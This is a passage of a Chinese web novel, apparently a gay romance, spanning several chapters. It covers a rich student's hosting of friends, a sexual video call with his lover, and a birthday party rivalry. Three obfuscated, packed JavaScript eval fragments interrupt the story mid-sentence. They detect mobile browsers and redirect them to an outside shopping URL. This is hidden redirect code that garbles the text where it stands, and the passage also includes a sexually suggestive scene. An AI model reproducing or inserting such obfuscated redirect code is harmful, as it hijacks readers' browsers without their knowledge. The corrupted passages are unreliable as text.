霍思议立刻就被他这话哄好了,说:“那等过两天你收拾好了,再邀请我去做客吧,我做饭给你吃呀学长,悄悄跟你说,我做饭超有天赋的,我爸没有的做饭基因,全长我身上了。” “......好。” 话说到这个份上,奚时也只能答应他。 “那就这样说定了,一言为定噢。” 奚时:“嗯,好的。” 霍思议露出一个大大的笑容说:“那不打扰学长收拾啦,晚安噢。” “晚安。” 奚时说完,切断了视频,把手机扔给在一边赔笑的秦铭天,阴阳怪气地说:“我都不知道,你跟首富之子这么熟。” “就是那天骑马后你不是跑了么,我就跟他一起吃了顿饭,聊了几句,熟起来的。” 秦铭天解释完,赔笑说:“你不要生气啊,我也是想给你们牵根线,首富之子,多香啊!” 奚时一脸冷漠:“高攀不上,谢谢。” “怎么会高攀不上呢,你也是豪门少爷,而且,你都没发现,霍思议对你有意思吗?” 奚时微愣,霍思议对他有意思吗? 秦铭天是真想撮合他们,说:“我觉得霍思议这人,性格不错,身为首富之子,没有什么纨绔习性,而且学习也那么优异,将来必成大器,你跟他联姻,不但能报答你叔叔的养育之恩,也不用担心你那个堂妹时不时来骑你脸,这么优质的对象,打着灯笼也找不着啊。” 确实,这燕京,大概找不出第二个比霍思议优秀的对象来了。 但是,一向都很积极联姻的奚时,却在这么个优质联姻对象出现后,脑海里浮现的,是景沉那张好看的脸。 他闭了闭眼,说:“你别瞎撮合,我们都还小,先顺其自然吧。” 24. 第 24 章 既然决定了要请霍思议来家里做客,奚时就干脆定了两天后的周日。 但请他一个人怪怪的,奚时又让秦铭天也一起来,这样子就不会孤男寡男了。 考虑了一下还是觉得不太妥,秦铭天这人不靠谱。 奚时想到霍思远帮他这么多忙,也要感谢人家,干脆一起请得了。 四人行,很完美。 周日上午。 奚时刚艰难地把自己从被窝里拔出来,幽魂一样飘去洗手间洗漱,听到门铃“叮咚叮咚”响了起来。 应该是送食材的到了。 奚时随便抹了两下脸,走去开门。 站在门口的,却是霍思议。 “上午好,学长。”霍思议微笑冲他说。 奚时眨眨眼:“你……这么早?” 霍思议看他身上还穿着睡衣,睡眼惺忪,头上还有一撮竖起来的呆毛,显然才从床上起来。 这样的学长——好!可!爱!啊! 霍思议忍着想去揉奚时头上呆毛的冲动,腼腆地说:“抱歉学长,是不是打扰你休息了?” “没,我已经起来了,你怎么带了这么多东西?” 霍思议的脚边放着一个大箱子,手上还拎着一个精致的盒子。 “这个是我家厨房做的小点心,给学长吃的,很好吃哦。” 霍思议把手上的盒子递给奚时,又把地上的箱子搬起来说:“这个是扫地机器人,给学长的乔迁之礼啦。” 奚时侧开身让霍思议进来,说:“谢谢,破费了。” “你不嫌弃就好,”霍思议笑得眉眼弯弯,“学长快去洗漱出来吃点心吧,趁热更好吃。” 奚时也觉得自己这样子见客不妥,赶紧去洗漱换衣服,等他从房间里出来,霍思议已经把点心盒子拆开了。 几样点心摆在桌上,奚时看着有点眼熟。 好像景沉给他带过一模一样的…… 区别在于,景沉那个是买的。 哦! 奚时懂了,肯定是这家点心做得太好吃,霍思议家的厨师特地去人家点心铺子学的! 毕竟是首富,什么档次的点心吃不到。 奚时很容易就自圆其说了,走到餐桌前,拿了一块点心咬了一口。 哇哦,连口感味道都一模一样呢。 不得不说,霍家的厨师真是妙人。 “怎么样,学长?”霍思议问。 这可是他们家厨师的拿手绝活,霍思议本想自己学了给奚时露一手的,奈何工序复杂,短时间内无法学会。 奚时竖起大拇指:“很好吃,你家厨师一级棒。” “那等以后我学会了,给学长做。” “……”奚时差点被点心噎。 不是哥们,你一个首富之子,学这种手艺做什么! 他赶紧说:“那倒不用这么费心,我不怎么爱吃点心,哈哈。” 霍思议在他对面坐下来,看着他,顺势问:“那学长爱吃什么?刚好今天我给你做。” “我……我好像没有什么特别爱吃的菜,做得好吃都喜欢。”奚时干巴巴地说。 霍思议笑眯眯地说:“学长真好养活。” 奚时:“……” 就在尬聊快不下去时,门铃又响了,他赶紧去开门。 这次来的是送食材的,都是一等一的新鲜食材,什么外国空运的,山里新摘的,农家现杀的都有。 奚时和霍思议一起把食材提到厨房,看着大大小小十几袋的食材,奚时问:“你一个人真行吗?” 本来奚时要请个厨师来的,被霍思议拒绝了,说他一个人完全OK。 “你要相信我,”霍思议撸起袖子,说,“学长你可以去打会游戏或者补个觉,起来就有饭吃了。” 奚时哪里敢让他一个人做,说:“那我给你打下手吧。” 霍思议当然没意见。 时间已经不早了,两个人立刻在厨房里忙活起来,奚时看霍思议处理食材的手法挺熟稔,不像厨房新手,悄悄松了口气。 他倒不是怕霍思议会翻车,而是怕他故意逞强伤到了,他赔不起啊! 那位神秘的首富,他不了解,但听闻过一些他的传闻。 在他任霍家现任家主之前,霍家并不是燕京的首富,他也不是继承人。 他甚至都不在霍家本家,而是住在江城的外公家。 就是这么一位不被重视的人物,在上一任家主,也就是霍老爷子忽然病重,霍家陷入了水深火热的夺权斗争中时,忽然空降,以雷霆手段控制了整个霍家。 传言他有个凶残至极的保镖团,不服他的会被打到服,位高权重的直接威逼,有几位顽固的叔伯甚至直接被当典型,被送进去踩缝纫机了。 风雨飘摇的霍家有了这么一位家主,很快稳定下来,并蒸蒸日上,他在江城也有事业,加上霍家的支撑,一举便成了燕京的首富。 这传闻有几分真几分假奚时不知道,反正在他听到的版本里那位首富都成了杀人不眨眼的恶鬼修罗了,吓人得狠。 所以,这么个带恶人首富的儿子,要是给他做饭伤到了,他都不敢想象自己会死得多惨。 霍思议表明了决心要在奚时面前露一手,做的都是拿手好菜,昨晚回家后还反复和家里的厨师讨教了一番,势必要做出一桌惊艳奚时的饭菜来,狠狠加分。 “红烧肉好啦,学长,回头。” 奚时正在池子边洗菜,闻言疑惑回头,刚“啊?”了一声,嘴里就被塞进了一块炖得熟烂浓香的红烧肉。 “帮我尝尝咸淡。”霍思议微微笑着说。 “......” 霍思远和秦铭天就是在这个时间进门的。 他们两个并不认识,但楼下碰到了,一块坐的电梯,又一块下电梯,才发现是同一个目的地。 秦铭天对于奚时居然还认识一位霍家人已经见怪不怪了,只当是霍思议介绍他们认识的。 之前秦铭天就来过奚时的家,知道他家门的密码,于是直接输密码进门,直面了开放式厨房里,霍思议喂奚时吃红烧肉这一幕。 最怕空气突然安静。 “哎呀,我们是不是来得不巧,”秦铭天那个二逼最先说话,“你们继续,继续,当我们不存在,哈哈。” 霍思远:“......” 他今天就不该来。 霍思议本以为今天的聚餐是他跟学长的二人世界,谁知道一下又冒出两个人来,心里那个不爽,直接看向霍思远,用眼神询问他为什么会出现在这里当电灯泡。 霍思远心里那个苦啊,他夹在这父子中间,真是横竖都难做啊。 不过来都来了,今天这个饭硬着头皮也要吃下去。 霍思远假装没看到霍思议的眼神攻击,把带来的礼物放在茶几上,环视了一圈四周,说:“这房子不错啊,这里租金贵不贵啊?” “挺高的,就是看它不错才下决心租的。” 奚时说着擦干净手上的水,打开冰箱问:“你们要喝点什么吗?有可乐、果汁和水。” 霍思远听说租金挺高还有点纳闷。 他以为知道奚时要租房子,他小叔会插一手,干脆买一套位置好的房子,换上新的家具,以一个低价租给奚时呢。 算了,不要瞎掺和他们的事情,保命为上。 霍思远这么想着,说:“可乐就行了,谢谢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048962|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 霍思议和秦铭天也都要了可乐,奚时给他们都拿了可乐,又回厨房帮忙。 饭菜很快就做好了,不得不说霍思议是有两把刷子的,一桌子菜做得色香味俱全,卖相极佳。 几个人边吃边夸,夸得霍思议耳朵尖都红了。 “你也是隔离时期学的做饭吗?”奚时吃着饭,忍不住问霍思议。 他实在想不通这种含着金钥匙出生的首富之子,会有什么契机,年纪轻轻就做得一手好菜。 “更早一点,就我爸……唔,刚回霍家时,我出国过一段时间,我一点都吃不惯外国家里厨师做的饭,我爸又比较忙,无暇顾及我,我就自己跟着菜谱学做想吃的,刚开始经常炸厨房,烫得满手水泡,不过学着学着就会了。” 霍思议说得比较含糊,但奚时还是懂了。 他爸刚回霍家时,就是霍家最乱的时候。 估计是为了霍思议的安全,选择把他送出国。 夺权不是一朝一夕的事情,这段时间他爸肯定非常忙碌,无暇他顾,更没时间去关心他的饮食问题,给他换个华国厨师。 霍思议就选择了自力更生。 他说得这样轻描淡写,但按照时间推算,那时候的霍思议应该才十一二岁,还是个小孩。 可怜的孩子,听得奚时都要产生父爱了【bushi。 秦铭天也一脸同情地说:“我那时候不认识你,不然高低给你空运一个我家酒店的厨师过去。” 霍思议垂着眼眸,苦笑一声说:“其实也没那么惨啦,我邻居是一位华人哥哥,比我大几岁,对我很照顾,只是后来……” 霍思远听得满头雾水,做饭那事情他知道是真的,但这邻居哥哥是怎么回事? 好好好,编故事是吧。 偏偏奚时还挺吃这一套,安慰他说:“都过去了。” “是啊,都过去了,”霍思议强颜欢笑,又忽然说,“学长,以后我可以叫你哥哥吗?” 奚时:“啊?” “其实,学长很像我那个哥哥,所以我第一次看到学长就觉得特别亲切,不行也没关系的,我只是想他了,有点口不择言。” 原来是这样啊。 这就说得通为什么他会成为霍思议区别对待那一个了。 奚时竟有种松了口气的感觉。 他真怕是霍思议对他有意思,万一他真的来追他,这么一个优质的对象,他好像没有拒绝的理由,可他睡景沉还没睡够,现在还舍不得分开。 当哥哥好啊,哥哥又不是老公,就没那么多忧虑了。 而且人家是首富之子,怎么说也是他占便宜吧…… 奚时赶紧说:“可以的,你就把我当成你那个哥哥吧。” 霍思议从善如流:“好的,哥哥。” 霍思远已经没眼看了。 奚小时,你咋这么好骗啊! 难怪被他小叔吃得渣都不剩,还颠颠给他花钱。 用过午饭后,大家商议下午去哪里玩。 秦铭天提议说:“我听说科技城那里新开了一家VR游戏体验馆,打击感一流,不如去那里玩?” “VR游戏吗,那不用去VR游戏体验馆,去我家里,我那里的版本和体验感绝对领先体验馆的。”霍思议说。 秦铭天一听去霍思议家里,立刻怂了:“这样不太好吧,多打扰那谁......霍叔叔啊。” 霍思议:“这倒不会,我爸这几天不在家,家里就我跟佣人。” “真的?”秦铭天胆子立刻肥起来了,看向奚时,期待地问,“去吗?” 奚时感觉不太好。 可首富家里哎! 谁不想去看看是啥样的啊! 25. 第 25 章 奚时真的很想去首富家看看,到底会是个怎么样的金窝银窝。 但不知道为什么,有个理智的声音告诉他别去。 所以奚时虽然好奇心爆棚,还是坚决地拒绝了。 最后几个人干脆去篮球馆打球消磨掉了这一下午的时间,晚上又一起吃了顿烧烤,这个聚会才散场。 晚上,奚时洗完澡躺床上刷小视频,等景沉给他打视频。 景沉出差有应酬,未免尴尬,都是等他有空给奚时打。 今天是景沉去出差的第四天,明明之前一周也就周六周日才能见到,但可能是物理上的距离拉远了,奚时莫名很想他。 甚至想到做什么事情都提不起劲,胸口位置好像少了块什么,空落落的,那种感觉很怪异,让人很不舒服。 唉,别人的金主爸爸包养小情儿,想了都是一通电话,随叫随到。 他倒好,花了这么多钱,还要独守空房,等小情儿的视频。 好在这小情儿很懂事,每天都会来一个视频。 而且景沉后天就回来了,奚时决定直接去机场接景沉,然后把他带到4S店,让他看新车,给他一个惊喜。 唔,4S店不远处就是一个温泉度假酒店,收到车的景沉肯定很感动,到时候晚上肯定很卖力...... 嘿嘿。 嘿嘿嘿。 就在奚时想入非非,满脑子开始播放带颜色的小短片时,他的电话响了起来。 不是微信视频,是手机电话,奚时还纳闷是不是月底景沉没流量了的时候,看到来电显示。 奚朝。 他堂哥。 奚时和他一向关系好,看到奚朝的电话,也很高兴地接起来:“哥。” “嗯,没打扰你休息吧。” “没有,哥,怎么啦。” 奚朝说:“我听爸妈说,你会带首富的儿子来去玥玥的生日会?” “唔,”奚时想到自己的计划,含糊地说,“是吧。” 奚朝继续问:“你怎么会和首富的儿子认识?” “我......他是燕大大一的新生,我们一起打过两次球,就认识了。” “你们才开学一个月,大一有军训,听起来你们也没认识几天,应该不算太熟,他怎么会愿意来我们家?是不是他对你有意思?还是玥玥逼你的?” 奚朝一针见血地问。 不得不说他堂哥洞察力很敏锐。 还小的时候,奚玥欺负他,奚时是找奚朝告过状的,奚朝不是无脑疼妹妹的宠妹狂魔,就会找奚玥讲道理。 然后奚玥转头就去和他叔叔婶婶告状,说奚时抢她哥哥,怂恿哥哥欺负她。 为此,婶婶特地找他长谈了一次,跟他说了许多他似懂非懂的东西。 自那以后,奚时就再也没跟他堂哥告过状。 “哥,你想哪里去了,就是霍思议觉得我很像他小时候的一个朋友,加上我们都爱打篮球,一来二去就熟了,我们是很纯洁的友谊。” 奚时特地咬重了纯洁二字,表明他跟霍思议真是朋友。 奚朝还是觉得有点怪,再一次问:“真不是玥玥逼你请他来撑场子的?” “没有啦,哥你国庆回来吗?好久没见到你,想你了。”奚时扯开话题。 “应该要到年底,”奚朝的声音有了笑意,“你真要想我,就自己过来看我。” 奚朝下半年去了国外,发展新的事业。 奚时咬住唇。 奚朝叹了口气:“还是没法克服吗?” 奚时再次沉默以对。 他的父母是去国外度假时,飞机失事离开的,所以他很恐惧坐飞机,国内还好,越洋的根本没办法。 奚朝安慰他说:“没事,等哥有空了回去看你。” 奚时:“哦……” 奚朝有点后悔提这个话题,赶紧讲了一些他在国外的趣事,重新把人哄开心后,才挂掉电话。 奚时坐在床上,伸手抱住腿,把头枕在腿上。 不知过了多久,手机又响了起来,这次是视频请求了。 看到屏幕上跳跃的景沉二字,奚时心情重新好起来,接起视频。 接着,他的眼睛直接直了。 因为视频里的景沉,穿着铅灰色的双排扣西装,打着规整的同色领带,西装胸前的口袋里装点了一块方巾,西装完美地裹住景沉的腰腹,让他本来就强大的气场更加凸出,像一位极具复古风的贵族绅士。 这版型,这身材,绝了。 “哥,”奚时忍不住口水直流,斯哈斯哈,“你今天怎么这么帅啊?” “公司要求的,”景沉面不改色地说,“想到你喜欢,特地在脱掉前给你看看。” “可恶,我可以亲手脱的,你为什么在出差!” 奚时气得在床上打滚,“看得到,吃不到,我要自闭了。” 景沉知道他对西装的迷恋,安慰他说:“我已经把这身买下来了。” 奚时立刻满血复活:“那你后天回来的时候穿!不对不对,坐飞机不用穿,等到家了你再穿。” 他怕接到个这么帅的景沉会把持不住,得先把车送出去,把景沉哄高兴了,景沉才会更卖力哄他。 景沉轻咳了一声,说:“我这里出了点状况,国庆假期恐怕没法回去。” “……” 国庆已经计划好和景沉酱酱酿酿的奚时顿时感觉天都塌了。 “奚时?” 景沉看到他说完后,屏幕一下黑了,赶紧叫人。 “我不开心。”奚时闷闷的声音传来。 景沉还没说什么,手机屏幕晃了几下,又出现奚时的脸。 奚时仿佛想到了什么解决办法,眼睛亮晶晶的。 “要不你别工作了,我养你吧,给你付现在双倍的工资。” “……”景沉差点咬到自己舌头。 好一个双倍工资。 他倒是敢要,就是怕奚时0.2倍都给不出。 不过,我养你三个字还是很悦耳的,听得人心情愉悦,跟朋友聊天都值得拿出来吹嘘炫耀的程度。 景沉声音带上了笑意,说:“就算我现在辞职,交接这一个月也还是要工作,后天也回不来。” 奚时彻底自闭了。 他气哼哼地再次把手机倒扣在床上,让景沉再一次看黑屏,开始无理取闹:“我不管,你一点都不想我!” 景沉承认有被他可爱到。 只恨他身为首富,也买不到可以把手伸过去rua奚时头哄他的手机。 他只能遗憾捻了捻痒痒的指尖,温声说:“我很想的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14048963|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我不信,除非……” 镜头再次晃动,屏幕上又出现了奚时的脸:“你给我看景小沉,我看看是不是真的。” 景沉:“……” 景沉脑袋短路了一下,才反应过来景小沉指的是什么,脑袋再次短路。 他一向都是克制内敛又严肃板正的人,视频那啥这种事情,是不可能会出现在他人生里的。 绝对不可能! “只能看一下,不准得寸进尺。”景沉说。 奚时答应得很干脆:“好噢。” 才怪! 景沉把手机竖放在床上对准自己,伸手解皮带。 他本来是心无邪念的,可是这种事情,原本就带着隐秘的刺激。 何况他们原本就有最亲密的身体接触。 于是,在奚时眼也不眨的注视下,景小沉肉眼可见地变成了景大沉。 奚时还一脸无辜:“哥,不是说好只看一下吗?你怎么还耍流氓!” “……” 景沉闭了闭眼,三十多年积攒的斯文与沉稳一层层往下剥落,露出男人最原始的本性,他声音低哑。 “乖,小时也让哥看看。” 奚时揉了揉酥麻的耳朵,嘴角有一丝得逞的笑。 他其实想这样很久了,但宿舍不方便,现在总算是天时地利人和了,嘿嘿。 他假装哼哼唧唧,扭扭捏捏,其实立刻执行了行动。 很快,事情就变得不可收拾起来。 …… ………… 半个小时后,奚时微阖着眼,脱力地躺在床上,任由手上湿漉漉的纸巾掉在地上。 房间里安静得落针可闻,只剩下彼此交错的喘息声。 双排扣西装的景沉实在太戳人了了,完全就在奚时的审美上跳舞。 尤其是他只剩上身衣冠楚楚时,简直像索他命的无常。 奚时咂摸着回味了一番,身与心都得到了巨大的满足,由于白天打了半天篮球,放松下来后身心俱疲,连视频都忘了关,意识开始模糊。 景沉没料到有朝一日,他会被一个小朋友撩得愈发降低底线,甚至连在视频里……这种事情也做得出来。 谁让奚时那么会撩,他身为正常男人,把持不住才正常。 他很容易和自己达成了和解,转头见奚时裤子也不穿,就要睡过去,一时间好气又好笑,叫他:“奚时?” “醒醒,把裤子穿上再睡。” “又没人看。”奚时含含糊糊地说,根本不想动。 景沉见他小孩一样逃避地把脸往枕头里埋,脸红扑扑的,眼尾的春晕未褪,致命地勾人。 他才刚沉寂的心又蠢蠢欲动。 不过没有了奚时的撩拨,景沉深吸一口气,强制按压下去了。 他伸手,指腹在屏幕中奚时那张毫无防备的睡颜上蹭了蹭,说:“睡吧,晚安。” 奚时已经快要睡着了,听到景沉的话,他还是努力朦胧地挤出了一句“晚安”。 景沉闷声笑了下,又隔着屏幕摸了摸奚时的脸,低声说:“等我回去,给你说一个秘密。” 他承认,他对奚时动心了。 所以,他决定跟奚时坦白。 然而,景沉再富有也预料不到,等他回去,天已经变了…… 26.第 26 章 国庆很快就到了。 奚时原本预定好了国庆要跟景沉在温泉度假酒店愉快地腻歪两天,可惜胎死腹中了。 十一长假哪里都堵,燕京这种一线城市更是游客爆满,大街小巷都堵得水泄不通。 奚时索性在家里睡了两天,直到3号奚玥的生日派对,他才把自己从被窝里拔出来。 奚玥作为奚家的唯一千金,他叔叔婶婶的掌上明珠,从小生活用穷奢极欲来形容也不为过。 她的生日,奚家更是给她包下了负有公主城堡美誉的斐乐庄园办派对庆生。 奚时为了不丢奚家的面子,开的是他哥送那辆跑车,这可苦了他,路上堵得跟便秘似的,原本40分钟的路,愣是花了快两个小时。 他原本还计划着要早点到的,这下好了,其他客人陆陆续续到了,他这个做哥的才姗姗来迟。 奚玥作为今天的主角,造型和妆容都请了专业团队打理。 她穿着蓝灰色的高定短裙,梳着公主头,头上戴着璀璨的钻石皇冠,妆容精致,六分的美貌也被勾兑到了十分,好看得十分凸出。 见奚时只身一人来的,奚玥呆了一下,又不死心地往他身后瞧,也没看到她想见的人。 “二哥,”奚玥走过来,挽住他的手臂,一脸娇俏地说,“你不是说要带朋友来吗?” 奚时抽了下,没把手臂抽出来,忍着浑身的鸡皮疙瘩,说:“可能堵车了,等下就到,你别急。” “真的吗?”奚玥眼睛亮晶晶的,“你别骗我噢。” 奚时轻笑一声:“我哪敢骗你。” 她不得当场吃了她。 奚玥这才满意了,又嘱咐他人到的时候,第一时间跟她说,得到奚时点头后,才放过他。 奚时把带来的礼物随手递给门口收礼品的侍者,走进绿草茵茵的生日派对现场。 现场布置得很梦幻,彩色的灯带堆叠在头顶,像一片绚烂的星云,草地上的布置更是美轮美奂,在夜色下,交织出一个梦一般的仙境。 今天到场的人很多,甚至有种比奚玥18岁的成人礼还要热闹点的感觉。 奚时一出现,吸引来了不少的目光。 这是他被邵家退婚后,第一次在这种公开场合露面。 大家都以为,奚时被退婚后,不会过得太好,这次出现,说不定面容憔悴,强颜欢笑。 事实证明,大错特错。 奚时还是那个好看到扎眼的奚时,别说憔悴了,他的状态只能用四个字形容:意气风发。 看得出来他被退婚这一个月,过得相当滋润。 反倒是邵寻,据说好像得罪了什么人,都被他爸禁足了。 大家看热闹的心态落空,默默腹诽:真能装。 奚时面不改色地穿过人群,他在这个圈子原本就没什么朋友,秦铭天又跑去国外旅游了没来,这会儿想看他热闹的人多,但根本没人上前与他交谈搭讪。 而且,他作为主人家,其实应该去帮忙迎客的,但在今天之前谁也没派发给他这个任务。 奚时乐得轻松,随便找了个位置坐下来,拿出手机把现场的布置都拍下来,一股脑全发给景沉。 毕竟景沉的身份没机会来这种高档场合,云看一下也算涨见识。 景沉国庆假期还在谈判桌上跟人较劲,这会儿对方干脆耍起了流氓,听到有手机震动声,景沉也干脆拿出手机。 看到是奚时的消息,他因谈判方无理取闹而不快的面色柔和下来。 景沉:去参加婚礼了? 奚时:生日派对,听说单租这场地和布置就上百万了。 奚时:如此奢靡,不能浪费,给我的情人宝贝也饱饱眼福。 景沉脸色愈发柔和。 他记得不知道在哪里看到过,当你在路边看到一朵好看的野花,也想把他分享给某个人时,那就是爱情。 奚时看到了好看的场景,会想分享给他,就是这个意思吧。 景沉对于回去后坦白身份,再和他表白,把包养关系转化成爱情更有把握了。 景沉:很好看。 景沉:对了,不准喝酒。 奚时撇了撇嘴,小情人胆大包天,还管起他来了。 你咋不上天:好噢,绝对滴酒不沾。 你咋不上天:不信晚上景警官可以亲自视频,做酒精检测[媚眼]。 景沉:“......” 又来了。 这都上哪学的这么多撩人手段。 他要是警官,早把这撩人的小黄人拷起来了。 ...... “奚时。” 正在奚时和景沉的话题往少儿不宜滑时,听到有人叫他名字。 奚时抬头,看到个年轻的男人走过来,冲他微笑道:“嗨,好久不见啊。” 奚时想了一会,才想起来此人好像叫许州。 不熟。 奚时礼貌地点了下头。 许州却很自来熟地凑过来,说:“霍勤你认识不,和首富霍家很亲的一支旁系,他过两天乔迁新居,邀请了我参加,我不知道送什么礼物,唉,好苦恼。” 奚时:? 奚时莫名其妙:“所以?” “所以,”许州拿出手机,说,“你帮我参考参考吧。” 说着,他打开相册,相册停留在一张乔迁之喜的请帖上,许州没有划走,而是放大给奚时看说:“你看霍少给我发的请帖,有钱人就是不一样,请帖都比别人的精致。” 奚时:“......” 许州又往下划了一张,下一张是一张结婚的请帖,新人名字上赫然写着:邵寻、奚时。 是他跟邵寻的结婚请柬,虽然婚没结成,但当初请柬是发了的。 “啊!抱歉抱歉,我忘记删掉了,不过这么一比较,确实霍少发的请柬更加精致华贵,邵家在燕京是一等一的豪门了,可跟霍家比起来,那真是有本质的区别。” 奚时:“...........” 奚时终于懂了这个许州的来意,是来炫耀自己认识了霍家这位旁系的霍勤,顺便踩他一脚的。 气笑了他妈的。 奚时从记忆的犄角旮旯里翻了翻,终于翻出了一点关于这个许州跟他的渊源。 这个许州,当初据说追过邵寻,被邵寻无情拒绝了,后来他和邵寻定下婚约,估计许州就单方面跟他结了梁子,今天才巴巴跑到他跟前来奚落他。 当然,重点是炫耀他攀上了霍勤这根比邵寻强的高枝。 不是,邵寻拒绝他找邵寻去啊,在他面前找什么存在感。 奚时真想给他一个大逼兜子让他清醒清醒。 “你说得很对,”奚时面上不显,甚至礼貌微笑说,“像霍家这种高门大户,一般的礼物确实送不出手,我倒是真知道有件体面的礼物,就看你舍不舍得下血本了。” 许州其实就是来炫耀外加恶心奚时的,哪里可能会让他挑礼物。 但话说到这份上,许州只能问:“什么礼物?” 奚时冲他勾勾手指,示意他把手机递过去。 许州有点警惕,不过还是把手机递给了他。 奚时很容易在他的手机桌面上看到了购物软件,点进去。 十几秒后,他摁灭屏幕,把手机丢还给许州,站起身,意味深长地拍了拍他的肩膀说:“选好了,绝对符合你气质。” 说着,他扬长而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14056734|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 慢了怕被打。 许州被搞得有点好奇,打开手机,界面停留在某宝的宝贝主图上,映入眼帘的,赫然是一张高度仿真、粗、且狰狞的......图片。 仿佛奚时赤果果地嘲讽:送个瘠薄。 猝不及防的视觉冲击让许州差点把手机丢出去,他的脸部一阵扭曲。 这奚时,他怎么可以这么臭不要脸!公开场合看这种东西。 简直,简直没素质! 没素质的奚时心情极好地去端了一杯果汁,刚喝两口,微信就响了,他拿出来看了眼消息,立刻把果汁放到一边,往门口走去。 奚玥时刻都注意着奚时的动静,看他往门口走,知道是她期待的人来了,虽然很气奚时没有通知她,不过还是火速调整情绪。 她理了理头发,深吸一口气,保证自己是最得体漂亮的状态,也往门口走去。 然而,等她到了鲜花做成的拱形门口,看到奚时带进来的人时,笑容僵在了脸上。 奚时和一个年轻男子有说有笑地走进来,男子贵气天成,看样子身份不菲。 但并不是她期待的霍思议。 而且,男子还带了个漂亮的女伴,女伴穿着一袭青花旗袍,明眸青睐,美艳动人,竟然是当红的一线女星田苒。 “二……哥,他们是?”奚玥小心翼翼地问。 这两个人明显身份也不低,她不敢贸然得罪。 奚时淡淡笑道:“我跟霍思议不太熟,没能把他请来,不过他的堂哥霍思远跟我是朋友,所以就把他跟他的未婚妻田小姐请来了,霍三少,田小姐,这是我的堂妹,奚玥,今天的寿星。” 田苒把手中的礼物递给奚玥,盈盈笑道:“生日快乐。” 奚玥笑不出来。 她今天弄得如此隆重热闹,都是为了让大家看到堂堂首富之子来参加她的生日派对,那是何等的风光与荣耀,连燕京第一名媛都没这个殊荣。 而且她今天打扮得这么好看,她不信霍思议不动心。 要是能拿下霍思议,她将风光无两,人人艳羡。 就算拿不下也没关系,只要霍思议今晚出现在这里,就有了制造话题的空间。 能和霍思议传上绯闻,也是那些名媛贵女们羡慕不来的荣耀,极大满足她的虚荣心。 然而,千算万算,她没算到,奚时会耍这种花招。 首富之子和首富侄子一字之差,差之千里。 而且人家带了未婚妻,传绯闻就不用想了。 巨大的期待落空,奚玥当即红了眼眶,看奚时的目光如淬了毒,差点就要失去理智,把手里田苒送的礼物砸奚时脸上时,她父母听到霍三少这等贵客上门,匆匆赶来,阻止了惨剧的发生。 虽然不是首富之子,但霍思远的身份也不菲,奚锦年强行按住了差点发疯的女儿,对霍思远恭敬笑道:“霍三少,田小姐,欢迎光临小女的生日宴,里边请,请。” 霍思远身份拔群,几乎是被众人簇拥进去,寿星反而被暂时遗忘了。 奚时稍稍落后,看了眼被婶婶安抚着的奚玥,趁着婶婶没注意,给她投去一个挑衅的眼神。 谁说他一定要带霍思议来,才能弥补奚玥,给她撑场子,让外面的人觉得他们家攀上了霍家,抵掉他被邵家退婚给家里带来的损失。 霍思远也能。 不仅能,还能让奚玥那些阴暗的小心思全部落空。 奚时感觉这几天憋着的一股郁气瞬间无影无踪,他不是木头,他也是会反抗pua的。 奚玥收到他的挑衅,知道他就是故意的,气得脸都绿了,差点又要发癫,被奚夫人努力安抚着才没狂叫出声,眼泪哗啦啦流了一脸。 28-30 第28章 第 28 章 霍思议立刻就要拿出手机, 跟奚时提联姻的事情。 何天顺那伙人可不乐意,刚刚是他突然出现,脸色又吓人, 被他唬住了。 回过神来后,刚被霍思议提住领子那人伸手推了霍思议一把。 “你小子哪里冒出来的, 什么意思啊你, 找打是不是?” 霍思议被推得后退了一步, 不过他心情实在是太好了,即便如此, 他也没生气。 把手机揣回兜里, 霍思议心平气和地问:“你口中的顺哥是哪个?” “我为什么要告诉你?你谁啊?拽什么拽?” 霍思议却已经从他的眼神锁定了站在他们中间的男子:“是你吧。” 何天顺不屑地轻哼一声:“是你爷爷我, 怎么,活得不耐烦了在我这找死?” 霍思议见这男的又胖又油腻,满眼厌恶。 “我找你……”霍思议扭着手腕,忽然直接贴脸开大,一拳头打在何天顺的脸上, “送你去见太奶!” 霍思议这一拳又快又准又狠,直接把何天顺打得眼冒金星, 嘴角瞬间溢出血丝来。 他妈的, 就这丑逼也敢肖想奚时,简直是对学长的亵渎。 跟何天顺一起来那二人惊呆片刻,随即暴怒,挥拳也要去揍霍思议, 却连他的衣角都没碰到, 就被他三两下撂翻在地, 毫无还手之力。 作为首富的儿子,擒拿散打这些防身技能是从小抓的, 毕竟谁也不知道会不会走在路上就被人绑架了。 俱乐部的大堂经理和侍者看到他们忽然打起来都惊呆了,大堂经理示意侍者报警,自己急匆匆地跑上来。 